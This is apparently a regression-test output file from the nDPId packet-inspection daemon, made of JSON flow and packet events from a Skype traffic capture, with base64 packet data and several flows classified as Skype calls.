+00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.171","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431970675992,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.147","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431970674981,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.150","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.159","src_port":13021,"dst_port":40016,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431970677974,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.170","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431970673970,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.143","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1431970678985,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431970676959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431970681960,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.144","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1211,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431970679995,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.149","src_port":13021,"dst_port":40030,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":187,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":532335,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8zJhAAEAGI4nAqAEinTfrmMhInF05JqcNEQTd4oAYECk03AAAAQEICj4yQPVMXigTaJ2t5RvhjU8="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1213,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1431970682971,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":51276,"dst_port":40021,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1213,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":971296,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA7SRAAEAGAv\/AqAEinTfrkshMnFVVB2sVAAAAALAC\/\/9GzAAAAgQFtAEDAwUBAQgKPjJCqwAAAAAEAgAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1214,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1431970682971,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":51277,"dst_port":40026,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1214,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":971500,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA5x1AAEAGCPzAqAEinTfrnMhNnFpJkZ45AAAAALAC\/\/8fDgAAAgQFtAEDAwUBAQgKPjJCqwAAAAAEAgAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1215,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1431970682971,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.159","src_port":51278,"dst_port":40009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1215,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":971692,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAMNRAAEAG8HbAqAEiQAQXn8hOnEl2PjrTAAAAALAC\/\/+HCAAAAgQFtAEDAwUBAQgKPjJCqwAAAAAEAgAA"} +00488{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1216,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1431970682971,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.48","src_port":51279,"dst_port":40008,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":971895,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABARUhAAEAGeZjAqAEib91KMMhPnEhg80NCAAAAALAC\/\/8xegAAAgQFtAEDAwUBAQgKPjJCqwAAAAAEAgAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1217,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":972023,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2ToQAAEARSoLAqAEinTeCrzLdnEYAIsBye70C0WV2Jw2JJv9T381tb7aFs7ugTny6Jk4="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1217,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.175","src_port":13021,"dst_port":40006,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1218,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970682,"pkt_ts_usec":972023,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBmw8AAEARYEjAqAEib91NrTLdnEwALft7e78CS2barOC4bSdle3ySCU4isieKFyYrhir3D1S\/zus1mmpuRQ=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1218,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1431970682972,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.173","src_port":13021,"dst_port":40012,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00447{"flow_id":212,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":43958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iedN+uSwKgBIpxVyEzh8Ob8VQdrFqASOJAqmgAAAgQFrAQCCApMYN9LPjJCqwEDAwk="} +00436{"flow_id":212,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":44063,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0JNdAAEAGy1jAqAEinTfrkshMnFVVB2sW4fDm\/YAQECyBfAAAAQEICj4yQvNMYN9L"} +00533{"flow_id":212,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":44604,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"0NQSxnP1PBXCt3IOCABFAAB3Mo1AAEAGvV\/AqAEinTfrkshMnFVVB2sW4fDm\/YAYECzPowAAAQEICj4yQvNMYN9LG\/ElW63KxOao8VKmuRdmcRFihQOEgdmeqxt9tl+ffCv6XLznEh5tysSzRUGu2IKGHne8\/QpziFm2LxR1IqtgUU7nbA=="} +00447{"flow_id":213,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":53929,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+h2dN+ucwKgBIpxayE3JOyrZSZGeOqASOJDTSQAAAgQFrAQCCApMXOO6PjJCqwEDAwk="} +00435{"flow_id":213,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":54009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA01TpAAEAGGuvAqAEinTfrnMhNnFpJkZ46yTsq2oAQECwqIwAAAQEICj4yQvxMXOO6"} +00570{"flow_id":213,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1225,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":54549,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"0NQSxnP1PBXCt3IOCABFAACVOl9AAEAGtWXAqAEinTfrnMhNnFpJkZ46yTsq2oAYECztNgAAAQEICj4yQvxMXOO6eu0vh176uYm6c2RIVTTR0fS0NT1U5YUHZVwzlQnY7csn7B727YRBP18moobM811vCNk2r5T1oivg0c5n7G26Y7jJZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGA=="} +00436{"flow_id":212,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":116284,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0OaBAADYGwI+dN+uSwKgBIpxVyEzh8Ob9VQdrWYAQAB2RNgAAAQEICkxg310+MkLz"} +00531{"flow_id":212,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":123388,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"PBXCt3IO0NQSxnP1CABFAAB4OaFAADYGwEqdN+uSwKgBIpxVyEzh8Ob9VQdrWYAYAB0zxgAAAQEICkxg318+MkLzkus8AAwCfM3owe8Rugue4BJ56BgDHvSoAIZldmTU389cQqPzNwkroIwrFwa4FmRHNeJrIBEOpyyt+qP4CaZfhCUS29A="} +00436{"flow_id":212,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":123454,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA09QdAAEAG+yfAqAEinTfrkshMnFVVB2tZ4fDnQYAQECmAlgAAAQEICj4yQ0FMYN9f"} +00448{"flow_id":212,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":123985,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81hdAAEAGGhDAqAEinTfrkshMnFVVB2tZ4fDnQYAYEClyKAAAAQEICj4yQ0FMYN9f7d463h6NxxM="} +00436{"flow_id":213,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":134385,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0yRRAADYGMRGdN+ucwKgBIpxayE3JOyraSZGem4AQAB05vAAAAQEICkxc488+MkL8"} +00581{"flow_id":213,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":135722,"pkt_caplen":171,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":171,"pkt_l4_len":137,"pkt":"PBXCt3IO0NQSxnP1CABFAACdyRVAADYGMKedN+ucwKgBIpxayE3JOyraSZGem4AYAB1KswAAAQEICkxc488+MkL8\/MD9lxcN4ZY6g8PtlmYUkXNIJH2B8YLKnpSEcCqDe1jRVXkke+4zPaaUy4EN6+9+LxR1IqtgUU7nbO064zhJ5p\/EZVIbEEF+VxzdalPoORYPdFWCi8AxrsfMzZrDmClGfyRFsvtwId43"} +00436{"flow_id":213,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":135789,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0HQlAAEAG0xzAqAEinTfrnMhNnFpJkZ6byTsrQ4AQECgo+AAAAQEICj4yQ0xMXOPP"} +00448{"flow_id":213,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":136317,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8TAFAAEAGpBzAqAEinTfrnMhNnFpJkZ6byTsrQ4AYEChoeQAAAQEICj4yQ0xMXOPPdjjDMntxC5I="} +00448{"flow_id":214,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":168838,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYGK09ABBefwKgBIpxJyE4gX59Fdj461KASOJB7AAAAAgQFrAQCCApMR9iDPjJCqwEDAwk="} +00436{"flow_id":214,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1236,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":168915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05M1AAEAGPInAqAEiQAQXn8hOnEl2PjrUIF+fRoAQECzRaAAAAQEICj4yQ21MR9iD"} +00528{"flow_id":214,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":169461,"pkt_caplen":132,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":132,"pkt_l4_len":98,"pkt":"0NQSxnP1PBXCt3IOCABFAAB2y9ZAAEAGVT7AqAEiQAQXn8hOnEl2PjrUIF+fRoAYECw4egAAAQEICj4yQ21MR9iDR4AhIcsYB9idZvLEBki\/S\/4DWmvHVbXeuwd63Ms4CiMKW69PvOOrt2NITXe3mDz066CRjiesLXojeIkm3wSlkltQ"} +00437{"flow_id":214,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":364193,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0R\/VAADYG42FABBefwKgBIpxJyE4gX59Gdj47FoAQAB3hBAAAAQEICkxH2LQ+MkNt"} +00587{"flow_id":214,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":367291,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"PBXCt3IO0NQSxnP1CABFAACfR\/ZAADYG4vVABBefwKgBIpxJyE4gX59Gdj47FoAYAB0vEgAAAQEICkxH2LQ+MkNtm2Q62Hczhg2ed6XZEB0K7w6LRK4+swp2YiQBwuVhCdt\/tvdp2c9J4+1Du91WJjmFY7jJZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoV63\/D1Ks8iZ9m9UtWLroJE="} +00436{"flow_id":214,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1240,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":367368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA014pAAEAGSczAqAEiQAQXn8hOnEl2PjsWIF+fsYAQECjPyAAAAQEICj4yRDNMR9i0"} +00448{"flow_id":214,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1241,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":367900,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8znxAAEAGUtLAqAEiQAQXn8hOnEl2PjsWIF+fsYAYECgiUgAAAQEICj4yRDNMR9i06BKmNwKjHHk="} +00448{"flow_id":212,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970683,"pkt_ts_usec":507577,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8biRAAEAGggPAqAEinTfrkshMnFVVB2tZ4fDnQYAYEClwqwAAAQEICj4yRL5MYN9f7d463h6NxxM="} 